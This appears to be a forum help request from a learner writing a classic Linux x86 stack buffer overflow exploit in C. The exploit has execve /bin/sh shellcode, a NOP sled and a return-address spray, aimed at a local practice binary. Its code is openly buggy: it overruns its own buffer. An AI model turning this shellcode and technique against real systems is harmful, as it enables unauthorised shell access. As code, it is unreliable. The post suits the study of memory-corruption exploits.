Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble.

Let me give you some background:

Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4.

Here's my code. I probably don't fully understand this. If so, please correct me.

Code:

#define NOP '\x90'
#define EXIT 0

typedef unsigned long ulong;

char shellcode[] =
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

ulong getesp(void)
{
asm("movl %esp, %eax");
}

int main()
{
int i;
char buff[52], *ptr;
long *ptr2;

ulong esp = getesp();

ptr2 = buff;
ptr = (long *) ptr2;

for (i = 0; i < 51; i++)
{
*(ptr2++) = esp;
}

/* segfault around here */
for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++)
{
buff[i] = NOP;
}
/* segfault around here */

for (i=0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buff[52] = 0;

printf("gogogo!\n");
execl("./vulnerable", "vulnerable", buff, 0);

return (EXIT);
}

Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part:

Code:

for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++)
{
buff[i] = NOP;
}


I may have been overwriting the return address with NOPs, right? I'm very confused. Sad

I'm using Aleph1's method, btw.
